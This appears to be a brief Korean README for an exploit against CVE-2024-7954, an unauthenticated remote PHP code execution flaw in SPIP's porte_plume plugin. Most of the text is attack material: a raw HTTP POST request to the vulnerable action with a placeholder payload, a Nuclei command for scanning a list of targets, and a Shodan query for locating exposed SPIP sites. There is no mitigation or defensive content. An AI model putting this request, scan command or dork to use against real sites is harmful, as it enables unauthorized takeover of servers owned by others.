RCE_CVE-2024-7954-

SPIP 4.30-alpha2, 4.2.13 및 4.1.16 이전 버전에서 사용되는 porte_plume 플러그인은 임의 코드 실행 취약점에 취약합니다. 원격의 인증되지 않은 공격자는 조작된 HTTP 요청을 전송하여 SPIP 사용자 권한으로 임의의 PHP 코드를 실행할 수 있습니다. (CRITICAL)

익스플로잇:

POST /index.php?action=porte_plume_previsu HTTP/1.1

Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded

data=AA_[->URL]_BB

사용 도구:

Nuclei -l(대상 파일) -t(템플릿) CVE-2024-7954.yml

Shodan Dork:

app="SPIP"